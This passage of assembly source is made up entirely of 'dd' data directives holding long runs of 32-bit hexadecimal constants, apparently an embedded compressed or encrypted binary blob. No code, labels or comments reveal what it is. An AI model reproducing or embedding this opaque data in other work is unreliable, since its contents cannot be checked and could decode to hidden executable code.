dd 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h, 12A45300h
dd 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h, 75EB0A02h
dd 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h, 0E4001C68h
dd 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah, 20A45211h
dd 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h, 0D31C4148h
dd 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h, 400EDE38h
dd 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh, 0A29E0C4Eh
dd 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h, 45BC5E9h
dd 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh, 76808B08h
dd 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h, 0EE2439h
dd 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh, 1EAB1D85h
dd 50154061h, 828C638h, 59EFFE00h, 74F1513Dh, 48E0006Fh
dd 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h, 0FA1EBB60h
dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h
dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh
dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h
dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h
dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah, 9E62B9h
dd 2C444D42h, 2189084Eh
dd 67017F70h, 718D0559h, 0C5EC3D09h, 0B50600A6h, 0EF16439Eh
dd 3F005A4Bh, 84F87424h, 48041h, 0E64F3BD8h, 64176775h
dd 57B5D41Ch, 9CE269C0h, 189093Eh, 610BE842h, 0C48C74CEh
dd 695CDC7Fh, 0D075002Ch, 4B08C683h, 0F2C000B2h, 0A161A486h
dd 26031499h, 0FF41C4B8h, 0E992F88Dh, 946D0E1Ch, 2BEE5923h
dd 449E21A0h, 27482214h, 6CF11E42h, 0F238689h, 56986136h
dd 0A3E88844h, 1E5BEA30h, 8F92899Ah, 8D20CF86h, 93E8EC53h
dd 9879105h, 0C4E00463h, 87BE1h, 2480A48Ch, 42C78F54h
dd 31288500h, 8BDFA3ECh, 2208306Ah, 5684DBDEh, 2489D100h
dd 28603949h, 54050F5Ah, 53A05755h, 9507C888h, 444E4200h
dd 52E9F62Fh, 8654008Bh, 6AA0C730h, 83018897h, 0A427BEAh
dd 0D471B089h, 60EC7931h, 39FD0004h, 1EA80DF0h, 9200A4B5h
dd 0C9C543EAh, 3BCC031h, 1C0648DFh, 12D85910h, 28001189h
dd 49A78D6Fh, 473A6Ah, 0C664955Ah, 0C49674B6h, 5442E00h
dd 0D103E85Dh, 0E2FF00C7h, 4D588038h, 1500CD5Eh, 5034C056h
dd 0C2BE02h, 4AB80C52h, 3F1FFC5h, 3854491Ch, 86E97282h
dd 92836048h, 0C0070020h, 5C742C7Fh, 0F018E95h, 57221509h
dd 20C8052Dh, 0BF8700DDh, 483D1ECFh, 0EB3F4E80h, 84713060h
dd 83073Fh, 369429E8h, 52E130E7h, 43963D00h, 3814112Ah
dd 93762Dh, 13462E33h, 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h
dd 77E968Ch, 0B02C1D26h, 1E2A40C8h, 781C3DC9h, 229DCD7Ch
dd 6567CF0Fh, 87C71A21h, 0CE471627h, 0D8871267h, 0DAC70EA7h
dd 0D9E70AE7h, 0CAC406E0h, 16272EFCh, 8D900536h, 808E1D8Bh
dd 6C01E3E8h, 400C25Dh, 0F3942467h, 402993h, 2690F1FAh
dd 7074503Dh, 0CE00A27Bh, 99CB9238h, 1D90836h, 72F65232h
dd 0EC3B8189h, 300053D0h, 1817438Fh, 12381D74h, 0BCFB82h
dd 0B1D889ABh, 0B600EF84h, 4BFA4419h, 74E1Fh, 46A3120Dh
dd 945C3749h, 0D9B8850Fh, 14510204h, 6DBB878Ah, 124F60F0h
dd 0AA090752h, 505B290Ah, 94ED2677h, 68F6E300h, 0A005F8F5h
dd 0D81A01B5h, 0BAC804Ah, 0C8B63047h, 38657502h, 0C02E536Ch
dd 7F9836Eh, 39A174FFh, 9DF5F001h, 0A4008922h, 68A2E984h
dd 0D49CBFh, 3E434B93h, 57E148C2h, 70E80C00h, 0E9A79504h
dd 505800BEh, 7E1DDB85h, 0F0004B12h, 4DE4433h, 9749D4h
dd 7F24D031h, 0C4BA3DEEh, 0B214EB00h, 73E809BDh, 0A96C0023h
dd 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h, 0CFDFE8A4h, 30C3034Bh
dd 78A2DB33h, 341E5E90h, 3B121400h, 1A057EF3h, 0C1DF0004h
dd 49A81D3Eh, 28EEB127h, 4AEC7F00h, 1151E360h, 9CBE00BAh
dd 0C47D8D04h, 0A790E9B9h, 8FA5F301h, 2164BC05h, 1429B20h
dd 10B02D89h, 0EF84B41Dh, 1508A4F8h, 8D87AC00h, 0DF5C44Dh
dd 9377D17h, 0FC7D8397h, 35B5A100h, 6792008h, 0C92BE803h
dd 880C45FAh, 1CC0A240h, 4359481Dh, 0C4151BB8h, 0FF03E990h
dd 2F967100h, 2836156h, 417E1D05h, 3D2580EEh, 7594C81Ch
dd 0C6180D1Fh, 1132481h, 26F95AD9h, 4CBB20h, 0CB222C48h
dd 95D3E834h, 0A345C501h, 18247444h, 3C9F30h, 160646B2h
dd 6B202778h, 0F5B93805h, 2080EE93h, 14E1C3Ch, 124A892h
dd 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h
dd 115ABE5Ch, 13001280h, 0F294834Bh, 383C22h, 334AE877h
dd 30BB354h, 0D0299200h, 595C44BBh, 1B98FFh, 0E68A0FE2h
dd 57C01750h, 63E8C102h, 80B4ED9Ah, 46EA32E3h, 23F011h
dd 77FF0C1Dh, 0F820061Ch, 3E933700h, 5D2656A4h, 73870015h
dd 19D8F70Fh, 0C9074045h, 32BBB684h, 3885609Eh, 1806BEh
dd 250B34BFh, 0CE587B80h, 83161C0Fh, 0BEE0203Fh, 5F8917h
dd 6F3787D0h, 0FBC2E803h, 75231200h, 381A08EFh, 47743E40h
dd 25581383h, 0EC88A34h, 0BA001685h, 0B88C4228h, 1FA27214h
dd 803E8FAFh, 0EB0B12ACh, 0CF01C62h, 75226000h, 6ECF7013h
dd 0B4150048h, 0E186926h, 0F212163Eh, 0D60029ADh, 0A750204h
dd 0F64C28BEh, 268907FEh, 0F0080C43h, 7622012Bh, 503EB2F8h
dd 0AA18005Fh, 6DFBE8C0h, 192E1F37h, 3B0079FDh, 587404CCh
dd 22007F06h, 0A64BEAEBh, 75482Dh, 285314C2h, 0C01292B7h
dd 980D1500h, 0A03B831Ah, 66F0041h, 8BCBC660h, 560003C1h
dd 0FB6C097Bh, 7A5E0438h, 508C00EBh, 6974726Fh, 73036EA0h
dd 3D437920h, 3FFAA070h, 7A680067h, 2963281Fh, 39003181h
dd 0D32C3338h, 1CCCBAFh, 3718B76Dh, 60918990h, 9707E9FBh
dd 238FF5ADh, 0B75C7C90h, 8B8400E3h, 1C2ED110h, 5138C2C7h
dd 0F84A072Dh, 0F0D07C49h, 0EFF6Ah, 8D5007CBh, 57E8D242h
dd 6B0068F8h, 60C47858h, 2C8BD618h, 275513h, 0EC80342h
dd 29E40865h, 4EEAB000h, 6CA3DAFCh, 24510030h, 1A7F4145h
dd 1700F5B4h, 93750542h, 0FAFE227h, 13481864h, 0F65A00DFh
dd 0B78C97EBh, 0A1876E00h, 4C4B147Ch, 21440095h, 2A7E150Ah
dd 203B3BF9h, 501C0054h, 95F8375h, 10180026h, 895A081Fh
dd 6FF4FC97h, 1768F803h, 0F86B04C6h, 38BA546h, 25C0E390h
dd 0F8E1C1D6h, 0FEF9E458h, 96BCC700h, 7A980914h, 95F00053h
dd 3277E45Ch, 0F0026CFh, 0EC96573Bh, 0F38597h, 0D9F1D3F8h
dd 0B35EEAF2h, 97F8F00h, 8223C74Ah, 816700EBh, 8B7854FBh
dd 64002C7Dh, 9708E0BEh, 40CFC90h, 55532850h, 7B40C010h
dd 0A90086F1h, 0D7E27B8h, 0C70441h, 323ACEE9h, 0ECD93306h
dd 6098B57Bh, 0C5204401h, 16225498h, 293160h, 80CA4607h
dd 0C09CB8B4h, 89145200h, 95D1B9E2h, 175B032Ch, 41151268h
dd 3A522198h, 83D50A3Dh, 1945132Fh, 0FD02C0E2h, 0E03E60Bh
dd 695E3A62h, 0ECE8EB01h, 1CF1306Ah, 295AD100h, 2712E5E4h
dd 41240065h, 66522D30h, 620C9B3Bh, 70340A20h, 82C30E0Dh
dd 6AF280Eh, 0EB081941h, 496892E4h, 763A8A00h, 7621D725h
dd 3C901FC2h, 4252C38Ah, 57C0014Ah, 891D5150h, 0F20720D7h
dd 3B0AE5Ch, 158D1F7h, 5F9AC101h, 70A41992h, 0CB03ACB0h
dd 0EA0F7061h, 0F234D8FEh, 8B770103h, 35C9FC7Bh, 0DC8E43Fh
dd 0E2840F00h, 8A2734FDh, 798B000Eh, 85B97EFCh, 391EFA01h
dd 77EC02CEh, 7A4A2C00h, 4E0E41h, 2413269Ah, 0F5A48F46h
dd 6217AA00h, 83AB42F7h, 0AF3D07D0h, 91618828h, 213BA044h
dd 517460AFh, 68BC0800h, 0F9233450h, 0E94F00C0h, 0ED42933h
dd 0D3003958h, 250CE16h, 3FC5Fh, 49756E46h, 0D809DFC7h
dd 0B34B8B00h, 0A2FAF277h, 53030063h, 0A5580F91h, 5C004320h
dd 0F84F33F7h, 48A48CFEh, 0CA000271h, 0E6A0BE9h, 5400AE51h
dd 0A650528Dh, 8BED40h, 104F944Ch, 41112FD7h, 714AFC00h
dd 305A56CFh, 8BC60007h, 6F149C44h, 0B800F5D3h, 5501D834h
dd 0D054CEh, 7E2AE975h, 0ACC8EF82h, 5AC44A00h, 248D5801h
dd 0E0FD0094h, 3E6CD92Ah, 3900F145h, 8FC709D0h, 3EA5CB29h
dd 8200687Fh, 0AE1C8B6Bh, 0C05857DCh, 277007Ch, 5213C201h
dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h, 4003A310h
dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h
dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h
dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah
dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h
dd 8001DB44h, 0FB3AF9B8h
dd 2822C77h, 0FA34A86h, 390225D0h, 13A424DBh, 9D4AC190h
dd 0C51FD868h, 80CC1EE7h, 36D0895Bh, 7E008BF8h, 0FC58252Dh
dd 70261BC0h, 27C754Ah, 1F7DDA39h, 5068D329h, 9E000519h
dd 0F416117Fh, 6394C9h, 313A7D25h, 89E50AD2h, 2A93D900h
dd 126CB113h, 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h, 0FC304086h
dd 7C004E3Fh, 7D123D4Ch, 430126h, 0F129227Eh, 2D9CFE9h
dd 3F42BC3Eh, 8DF200F9h, 7F4D3A04h, 52FB0724h, 10FAF0A1h
dd 0DF4C4762h, 4087A900h, 70317992h, 4F8B0088h, 8334F1FCh
dd 7803044Ah, 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h
dd 15A6F3C3h, 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h
dd 273AF875h, 6A985100h, 0FF314390h, 489B0028h, 23AFC2FCh
dd 0E0007883h, 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h
dd 8B75003Ah, 701A40EEh, 0AE0790FCh, 28DC3050h, 949B0C60h
dd 0C93207AAh, 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h
dd 0B86F75E9h, 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h
dd 593D4080h, 0DA8906h, 1347E95Bh, 9C36C34Ah, 83A8B83Fh
dd 1E0EC81h, 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh
dd 7D28F320h, 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h
dd 0C45B1C59h, 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h
dd 0C066F932h, 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h
dd 590CD722h, 50009A20h, 32125B3Bh, 0EC8814h, 8A532E44h
dd 4F3924A8h, 6113B300h, 897C620Eh, 4CE21D06h, 5A94075h
dd 0FF0912A3h, 6DE42E00h, 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch
dd 2089DDC1h, 0D600FAEDh, 0E506ADA0h, 8001F4h, 7BBFF85Ch
dd 0A80B0ACEh, 0C1E4600h, 0D3F5890h, 7F6200A0h, 0F7B400Eh
dd 881266C8h, 0D80012B2h, 5893598Eh, 0CF22F66Fh, 7FC0012Ah
dd 0E9D6980Ah, 0DBD24503h, 0F0F35214h, 78EB19h, 30071A91h
dd 1DCC2C58h, 1A86A58h, 0D4612D44h, 10F0BB28h, 433E4C0h
dd 0FEF39450h, 89A0C052h, 54008BD5h, 2C8E0A2Eh, 0CB5C03h
dd 4A0D8F02h, 638AB406h, 241D2D0Fh, 351940E8h, 771A493Dh
dd 37FD0171h, 5DF01650h, 431ED4EBh, 0E8730400h, 0F243846h
dd 0F2940077h, 54A97D11h, 9D0049F1h, 0D1285C61h, 984AE98Ah
dd 70B31F84h, 0DA48C08Eh, 0C6087544h, 7761C400h, 0E57F9C8h
dd 708E075Bh, 306A2D4Bh, 463A7620h, 0CD25F50Fh, 554F409Ch
dd 7740561Ah, 287A7E59h, 5DFD6D0h, 1C2F89DBh, 41918024h
dd 14039BCCh, 0CE920BFAh, 5749A8D0h, 0D45D003Eh, 0D8CCB056h
dd 4B002B31h, 22CF2529h, 9B3D09h, 0AA1DD5AEh, 5098BEE1h
dd 0EF335600h, 48CD832Ah, 0BD5B0971h, 5F80325Fh, 84F85A85h
dd 0FDB21C00h, 0A81E532Bh, 0BF3100AFh, 0D21D1499h, 0F802BB85h
dd 19385755h, 606FC2C7h, 0BD0FDCh, 10C2731Bh, 23DE0892h
dd 0F77993F2h, 765E938h, 0FA832875h, 0E0EE72E7h, 26BD9981h
dd 10372EB4h, 190E3DF6h, 73E02A56h, 27C7661Ch, 0E9289102h
dd 0E0485E25h, 8BA18Ah, 0E4D414A3h, 88909DA4h, 64836602h
dd 0C02A8038h, 1818764h, 5F3E868Dh, 4084F742h, 0EB2720CEh
dd 51FF100Ch, 419FC15h, 0C3A78AAEh, 6071805Ah, 7304123Ah
dd 0DB77B111h, 0E78611C5h, 0C41007Ah, 7099C3CDh, 14057F3Ah
dd 757E0FB1h, 301D7980h, 8F580002h, 72BD0486h, 1300C6A8h
dd 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah, 0BF6493C3h, 981AB80h
dd 1C850FC0h, 96883900h, 0F02FE0A2h, 0FC021DE4h, 2D51407Dh
dd 0A9104B9h, 31345901h, 458D12D8h, 0E7B0BF8h, 558F6833h
dd 40DC2D60h, 0D476D84Eh, 0E43E4A98h, 9C9294F2h, 2C3503F1h
dd 88E3CCA8h, 1385150h, 0CBD48A23h, 7056B2CFh, 6B00B387h
dd 0B5657C25h, 797B1D83h, 62CD005Ah, 0F926845Bh, 7014923h
dd 2D350371h, 27DCE24Fh, 53C800FFh, 2C30EB4Ch, 0CF02D1D6h
dd 0FE8AE7E8h, 0CA82E095h, 0C0756Dh, 0C336835h, 0ACDD5634h
dd 1209200h, 5482ABAh, 2F2200FDh, 9B511998h, 32008C07h
dd 0F80A0389h, 0E6443EAh, 2FC0C08h, 9A34EB60h, 7D008F4Ah
dd 0D15727AAh, 3515C18h, 2B4EAD53h, 28BBA5BEh, 44959C88h
dd 8A971202h, 0C03BFD01h, 72EE3D6h, 0D266E56Ch, 57A5C7A3h
dd 9794F008h, 0D800E0C3h, 7E85109h, 7C5BA2Fh, 6962279Ah
dd 763AC05Fh, 6D01EE74h, 8BDE9C53h, 0D9C187EFh, 3D8E230h
dd 82DF0D75h, 0A0A4E84Ch, 3203E259h, 0A4133D59h, 305A875h
dd 210801FBh, 0A31D319h, 0F7D5C048h, 22135500h, 4271109Dh
dd 949600B4h, 93CBE658h, 0E77BC295h, 2F9B3000h, 0BF4B2D87h
dd 5EC00034h, 0D383D4CCh, 2177F869h, 0A3110A00h, 63579D5Ch
dd 0B9510079h, 914C4DB0h, 0F600D6CEh, 6A65AF5Bh, 1E46728Ch
dd 43B99944h, 0A58B7D89h, 0EF9C13C0h, 0EC830600h, 0FB8D810h
dd 78207B96h, 90100B9h, 6531F3E8h, 2B0F27B6h, 6FAA56B0h
dd 2499E0C4h, 595350h, 448CDD58h, 70FF1B1Ah, 0C4060C00h
dd 33B8040Dh, 891200D9h, 5B3936E2h, 551F2CA2h, 807AE011h
dd 0AD05D354h, 91F849h, 6CC88925h, 0A34A2471h, 0A540400h
dd 3870B506h, 47640027h, 3B74A607h, 8D000583h, 85E1D11Bh
dd 188A910h, 6AE48661h, 0C0953F1Ch, 0C8002C97h, 6B7C818Fh
dd 0A5FA10h, 0E8067525h, 6602EBEDh, 1C453303h, 0F115FC51h
dd 0CDF86010h, 77190074h, 7204583Bh, 8010A67h, 0C0705A4h
dd 0F5E0C975h, 0B0360084h, 0EEE7F432h, 0F0095EBh, 8A129166h
dd 19A810h, 0EF755CC2h, 6FB8F844h, 64B05B00h, 0C94BC4B3h
dd 0A3300034h, 9D747A68h, 130F6A82h, 871B7501h, 84D0C3EFh
dd 7A88214Ch, 53CF022h, 9D7D83F4h, 5598C0C2h, 85001018h
dd 5077CDB1h, 0F6B9D36Dh, 0A43400F4h, 8C12A515h, 450043E8h
dd 356536E9h, 371C8Dh, 3ADC3880h, 1780F08h, 0E0EEEDFDh
dd 700015D5h, 0E814025Bh, 6633D7h, 823B8013h, 8D26EA0Fh
dd 0A76A3Dh, 0B747C53Dh, 565DD6h, 0F96C34Ch, 2752BF3h
dd 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h, 0C749F8CEh
dd 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h, 40488B92h
dd 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h, 744450E3h
dd 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h, 3A2CD4CFh
dd 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h, 43A9035Ch
dd 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h, 0FF5FA8C7h
dd 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h, 321D336Ch
dd 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h, 4E7468EEh
dd 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h, 40FFE3CEh
dd 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh, 87DC91h
dd 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h, 64210052h
dd 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h, 6F903FD4h
dd 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h, 906850h
dd 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh, 0E892AB34h
dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch, 0F61811h
dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh
dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h
dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h
dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh
dd 73041E20h
dd 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h, 0CA655F72h
dd 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh, 6E232938h
dd 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h, 0B5213912h
dd 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh, 9BC2A088h
dd 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h, 0BFA37756h
dd 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h, 8FE8C0E0h
dd 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h, 0EB45A1C2h
dd 0E73E81Fh, 0BC34E8Bh, 553BC880h, 0E413B4FCh, 2E030A37h
dd 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h, 0CB41FCEEh
dd 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h, 998438Bh
dd 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah, 0E87F47Ch
dd 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h, 0AC042512h
dd 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh, 214BC22h
dd 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h, 1DF1F35Eh
dd 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h, 52AAE9h
dd 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh, 76747FB0h
dd 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h, 6CB0C46h
dd 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh, 3AC0E900h
dd 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h, 65D6E800h
dd 827A079h, 50C4FA18h, 0B80FE502h, 29C00313h, 62491778h
dd 4424A0F7h, 14002018h, 597E8088h, 222648h, 0FB96B2AEh
dd 10510F99h, 7060520Ch, 852046h, 0FF32DA53h, 8920EB3Ch
dd 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h, 0EA0050EEh
dd 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh, 46E12C07h
dd 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h, 7C2EB900h
dd 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh, 0BC074C79h
dd 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh, 15472019h
dd 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h, 0F66A5840h
dd 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h, 6FC91781h
dd 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h, 0A47CC3h
dd 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h, 0DBF08BB3h
dd 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h, 4BCAE0EAh
dd 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h, 7A3E2400h
dd 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h, 200AAE11h
dd 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h, 0E6F34Ch
dd 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h, 0A97231Dh
dd 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh, 0B400FA83h
dd 85541977h, 6032198h, 132453E1h, 41C5E94Eh, 98042CD4h
dd 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h, 1A750A00h
dd 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h, 48302F9h
dd 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h, 9C0FC41Ah
dd 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh, 58005216h
dd 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h, 13005830h
dd 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh, 0DBF2724Ch
dd 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh, 6500F426h
dd 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh, 3A9B3C42h
dd 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h, 3B8930h
dd 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h, 43C30EACh
dd 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh, 0E13D9B12h
dd 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h, 0BCC60C00h
dd 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah, 76805A00h
dd 45E89C6h, 56FF1D17h, 4587C718h, 0B8942069h, 76007166h
dd 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h, 21C5F507h
dd 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh, 600452Bh
dd 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h, 59503302h
dd 100DA85h, 915D7A62h, 0B6E3D06h, 0AB75A04Eh, 39F6C780h
dd 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh, 0B87807D6h
dd 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h, 0B951C004h
dd 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh, 608F0464h
dd 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h, 0CB802BBBh
dd 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h, 0AEA0BAh
dd 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh, 580809F3h
dd 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h, 0E22B5A27h
dd 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h, 8D368158h
dd 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh, 0F04C49A9h
dd 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h, 21ED6C00h
dd 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh, 4574487Ch
dd 71416CBh, 7F8DD5A2h, 0F29C02Bh, 5F001FE2h, 2CDB92C0h
dd 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h, 3D620F16h
dd 9E18FCh, 3318C50h, 800422B3h, 340045E0h, 0C3158451h
dd 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h, 0CB473198h
dd 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh, 150001A4h
dd 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h, 770008FAh
dd 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h, 8C7A1698h
dd 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah, 43B7E16Fh
dd 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah, 14A39174h
dd 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h, 8BF3C30h
dd 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h, 0B6B3A0Eh
dd 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h, 0AD78EBC5h
dd 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h, 8678326Eh
dd 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh, 0CE0703CCh
dd 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h, 0A5C80407h
dd 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h, 0C358CECBh
dd 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h, 8FD1D7B7h
dd 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh, 45812296h
dd 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h, 1697F00h
dd 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h, 0EF80B3ABh
dd 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h, 0E78E617h
dd 0B60516A1h, 55718012h, 8D093927h, 70F70Fh, 0C9304093h
dd 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch, 5152007Eh
dd 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h, 8029F2CCh
dd 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h, 1F8AA17h
dd 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h, 4564F28Ah
dd 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h, 0D800DC07h
dd 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h, 750C17D0h
dd 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h, 0EDB2B800h
dd 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah, 0C02001A1h
dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h
dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h
dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh
dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h
dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h
dd 0B18D0h, 875C91Dh
dd 0DE74D20Fh, 58F8DBF0h, 0A791001h, 0EEDAF726h, 73883ECh
dd 1CF3673h, 0D97E8334h, 20E9DB91h, 8B75C16Fh, 3582CE00h
dd 0E75B906h, 0E0D100F6h, 0D68ED24Eh, 3B0ED7C0h, 870B72FDh
dd 0F3700477h, 382B051Dh, 40001B1Fh, 0F75BE7E2h, 0B301B1C3h
